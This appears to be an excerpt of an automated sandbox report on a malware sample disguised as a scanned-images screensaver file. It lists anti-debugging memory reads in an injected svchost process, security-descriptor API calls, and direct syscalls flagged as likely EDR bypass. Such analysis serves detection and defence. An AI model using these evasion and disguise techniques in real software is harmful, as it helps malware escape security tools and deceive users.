Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]	1_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]	1_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]	1_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]	1_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E53E mov eax, dword ptr fs:[00000030h]	1_2_0395E53E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938550 mov eax, dword ptr fs:[00000030h]	1_2_03938550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938550 mov eax, dword ptr fs:[00000030h]	1_2_03938550
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396656A mov eax, dword ptr fs:[00000030h]	1_2_0396656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396656A mov eax, dword ptr fs:[00000030h]	1_2_0396656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396656A mov eax, dword ptr fs:[00000030h]	1_2_0396656A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EA49A mov eax, dword ptr fs:[00000030h]	1_2_039EA49A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039644B0 mov ecx, dword ptr fs:[00000030h]	1_2_039644B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BA4B0 mov eax, dword ptr fs:[00000030h]	1_2_039BA4B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039364AB mov eax, dword ptr fs:[00000030h]	1_2_039364AB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039304E5 mov ecx, dword ptr fs:[00000030h]	1_2_039304E5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968402 mov eax, dword ptr fs:[00000030h]	1_2_03968402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968402 mov eax, dword ptr fs:[00000030h]	1_2_03968402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968402 mov eax, dword ptr fs:[00000030h]	1_2_03968402
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E420 mov eax, dword ptr fs:[00000030h]	1_2_0392E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E420 mov eax, dword ptr fs:[00000030h]	1_2_0392E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392E420 mov eax, dword ptr fs:[00000030h]	1_2_0392E420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392C427 mov eax, dword ptr fs:[00000030h]	1_2_0392C427
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B6420 mov eax, dword ptr fs:[00000030h]	1_2_039B6420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039EA456 mov eax, dword ptr fs:[00000030h]	1_2_039EA456
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392645D mov eax, dword ptr fs:[00000030h]	1_2_0392645D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395245A mov eax, dword ptr fs:[00000030h]	1_2_0395245A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396E443 mov eax, dword ptr fs:[00000030h]	1_2_0396E443
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395A470 mov eax, dword ptr fs:[00000030h]	1_2_0395A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395A470 mov eax, dword ptr fs:[00000030h]	1_2_0395A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395A470 mov eax, dword ptr fs:[00000030h]	1_2_0395A470
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC460 mov ecx, dword ptr fs:[00000030h]	1_2_039BC460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940BBE mov eax, dword ptr fs:[00000030h]	1_2_03940BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940BBE mov eax, dword ptr fs:[00000030h]	1_2_03940BBE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_039E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E4BB0 mov eax, dword ptr fs:[00000030h]	1_2_039E4BB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DEBD0 mov eax, dword ptr fs:[00000030h]	1_2_039DEBD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950BCB mov eax, dword ptr fs:[00000030h]	1_2_03950BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950BCB mov eax, dword ptr fs:[00000030h]	1_2_03950BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03950BCB mov eax, dword ptr fs:[00000030h]	1_2_03950BCB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930BCD mov eax, dword ptr fs:[00000030h]	1_2_03930BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930BCD mov eax, dword ptr fs:[00000030h]	1_2_03930BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930BCD mov eax, dword ptr fs:[00000030h]	1_2_03930BCD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938BF0 mov eax, dword ptr fs:[00000030h]	1_2_03938BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938BF0 mov eax, dword ptr fs:[00000030h]	1_2_03938BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938BF0 mov eax, dword ptr fs:[00000030h]	1_2_03938BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EBFC mov eax, dword ptr fs:[00000030h]	1_2_0395EBFC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BCBF0 mov eax, dword ptr fs:[00000030h]	1_2_039BCBF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AEB1D mov eax, dword ptr fs:[00000030h]	1_2_039AEB1D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04B00 mov eax, dword ptr fs:[00000030h]	1_2_03A04B00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EB20 mov eax, dword ptr fs:[00000030h]	1_2_0395EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EB20 mov eax, dword ptr fs:[00000030h]	1_2_0395EB20
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F8B28 mov eax, dword ptr fs:[00000030h]	1_2_039F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039F8B28 mov eax, dword ptr fs:[00000030h]	1_2_039F8B28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928B50 mov eax, dword ptr fs:[00000030h]	1_2_03928B50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DEB50 mov eax, dword ptr fs:[00000030h]	1_2_039DEB50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E4B4B mov eax, dword ptr fs:[00000030h]	1_2_039E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039E4B4B mov eax, dword ptr fs:[00000030h]	1_2_039E4B4B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6B40 mov eax, dword ptr fs:[00000030h]	1_2_039C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C6B40 mov eax, dword ptr fs:[00000030h]	1_2_039C6B40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FAB40 mov eax, dword ptr fs:[00000030h]	1_2_039FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D8B42 mov eax, dword ptr fs:[00000030h]	1_2_039D8B42
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0392CB7E mov eax, dword ptr fs:[00000030h]	1_2_0392CB7E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]	1_2_03A02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]	1_2_03A02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]	1_2_03A02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A02B57 mov eax, dword ptr fs:[00000030h]	1_2_03A02B57
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03968A90 mov edx, dword ptr fs:[00000030h]	1_2_03968A90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393EA80 mov eax, dword ptr fs:[00000030h]	1_2_0393EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04A80 mov eax, dword ptr fs:[00000030h]	1_2_03A04A80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938AA0 mov eax, dword ptr fs:[00000030h]	1_2_03938AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03938AA0 mov eax, dword ptr fs:[00000030h]	1_2_03938AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03986AA4 mov eax, dword ptr fs:[00000030h]	1_2_03986AA4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930AD0 mov eax, dword ptr fs:[00000030h]	1_2_03930AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03964AD0 mov eax, dword ptr fs:[00000030h]	1_2_03964AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03964AD0 mov eax, dword ptr fs:[00000030h]	1_2_03964AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03986ACC mov eax, dword ptr fs:[00000030h]	1_2_03986ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03986ACC mov eax, dword ptr fs:[00000030h]	1_2_03986ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03986ACC mov eax, dword ptr fs:[00000030h]	1_2_03986ACC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396AAEE mov eax, dword ptr fs:[00000030h]	1_2_0396AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396AAEE mov eax, dword ptr fs:[00000030h]	1_2_0396AAEE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BCA11 mov eax, dword ptr fs:[00000030h]	1_2_039BCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03954A35 mov eax, dword ptr fs:[00000030h]	1_2_03954A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03954A35 mov eax, dword ptr fs:[00000030h]	1_2_03954A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396CA24 mov eax, dword ptr fs:[00000030h]	1_2_0396CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395EA2E mov eax, dword ptr fs:[00000030h]	1_2_0395EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03936A50 mov eax, dword ptr fs:[00000030h]	1_2_03936A50
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940A5B mov eax, dword ptr fs:[00000030h]	1_2_03940A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03940A5B mov eax, dword ptr fs:[00000030h]	1_2_03940A5B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039ACA72 mov eax, dword ptr fs:[00000030h]	1_2_039ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039ACA72 mov eax, dword ptr fs:[00000030h]	1_2_039ACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396CA6F mov eax, dword ptr fs:[00000030h]	1_2_0396CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396CA6F mov eax, dword ptr fs:[00000030h]	1_2_0396CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396CA6F mov eax, dword ptr fs:[00000030h]	1_2_0396CA6F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039DEA60 mov eax, dword ptr fs:[00000030h]	1_2_039DEA60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B89B3 mov esi, dword ptr fs:[00000030h]	1_2_039B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B89B3 mov eax, dword ptr fs:[00000030h]	1_2_039B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B89B3 mov eax, dword ptr fs:[00000030h]	1_2_039B89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039429A0 mov eax, dword ptr fs:[00000030h]	1_2_039429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039309AD mov eax, dword ptr fs:[00000030h]	1_2_039309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039309AD mov eax, dword ptr fs:[00000030h]	1_2_039309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0393A9D0 mov eax, dword ptr fs:[00000030h]	1_2_0393A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039649D0 mov eax, dword ptr fs:[00000030h]	1_2_039649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA9D3 mov eax, dword ptr fs:[00000030h]	1_2_039FA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C69C0 mov eax, dword ptr fs:[00000030h]	1_2_039C69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039629F9 mov eax, dword ptr fs:[00000030h]	1_2_039629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039629F9 mov eax, dword ptr fs:[00000030h]	1_2_039629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BE9E0 mov eax, dword ptr fs:[00000030h]	1_2_039BE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC912 mov eax, dword ptr fs:[00000030h]	1_2_039BC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928918 mov eax, dword ptr fs:[00000030h]	1_2_03928918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03928918 mov eax, dword ptr fs:[00000030h]	1_2_03928918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE908 mov eax, dword ptr fs:[00000030h]	1_2_039AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039AE908 mov eax, dword ptr fs:[00000030h]	1_2_039AE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B892A mov eax, dword ptr fs:[00000030h]	1_2_039B892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039C892B mov eax, dword ptr fs:[00000030h]	1_2_039C892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039B0946 mov eax, dword ptr fs:[00000030h]	1_2_039B0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A04940 mov eax, dword ptr fs:[00000030h]	1_2_03A04940
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D4978 mov eax, dword ptr fs:[00000030h]	1_2_039D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039D4978 mov eax, dword ptr fs:[00000030h]	1_2_039D4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC97C mov eax, dword ptr fs:[00000030h]	1_2_039BC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956962 mov eax, dword ptr fs:[00000030h]	1_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956962 mov eax, dword ptr fs:[00000030h]	1_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03956962 mov eax, dword ptr fs:[00000030h]	1_2_03956962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397096E mov eax, dword ptr fs:[00000030h]	1_2_0397096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397096E mov edx, dword ptr fs:[00000030h]	1_2_0397096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0397096E mov eax, dword ptr fs:[00000030h]	1_2_0397096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC89D mov eax, dword ptr fs:[00000030h]	1_2_039BC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03930887 mov eax, dword ptr fs:[00000030h]	1_2_03930887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0395E8C0 mov eax, dword ptr fs:[00000030h]	1_2_0395E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03A008C0 mov eax, dword ptr fs:[00000030h]	1_2_03A008C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0396C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0396C8F9 mov eax, dword ptr fs:[00000030h]	1_2_0396C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039FA8E4 mov eax, dword ptr fs:[00000030h]	1_2_039FA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_039BC810 mov eax, dword ptr fs:[00000030h]	1_2_039BC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]	1_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]	1_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952835 mov eax, dword ptr fs:[00000030h]	1_2_03952835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03952835 mov ecx, dword ptr fs:[00000030h]	1_2_03952835

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe

Code function: 0_2_004B0B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

0_2_004B0B62

Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00482622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00482622
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_0047083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0047083F
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_004709D5 SetUnhandledExceptionFilter,	0_2_004709D5
Source: C:\Users\user\Desktop\Scanned-IMGS_from NomanGroup IDT.scr.exe	Code function: 0_2_00470C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00470C21

HIPS / PFW / Operating System Protection Evasion

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtWriteVirtualMemory: Direct from: 0x76F0490C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtAllocateVirtualMemory: Direct from: 0x76F03C9C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtClose: Direct from: 0x76F02B6C
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtReadVirtualMemory: Direct from: 0x76F02E8C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtCreateKey: Direct from: 0x76F02C6C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtSetInformationThread: Direct from: 0x76F02B4C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtQueryAttributesFile: Direct from: 0x76F02E6C	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtAllocateVirtualMemory: Direct from: 0x76F048EC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtQuerySystemInformation: Direct from: 0x76F048CC	Jump to behavior
Source: C:\Program Files (x86)\ZJVdDTSHvqSjjqQNqNGGpyUZfODRUsROtCgOaWivdOVQCkvHWkEXXCJISuKFITnpLIwzjKRncrXBNUeK\zalkpCfMwtnpQo.exe	NtQueryVolumeInformationFile: Direct from: 0x76F02F2C	Jump to behavior
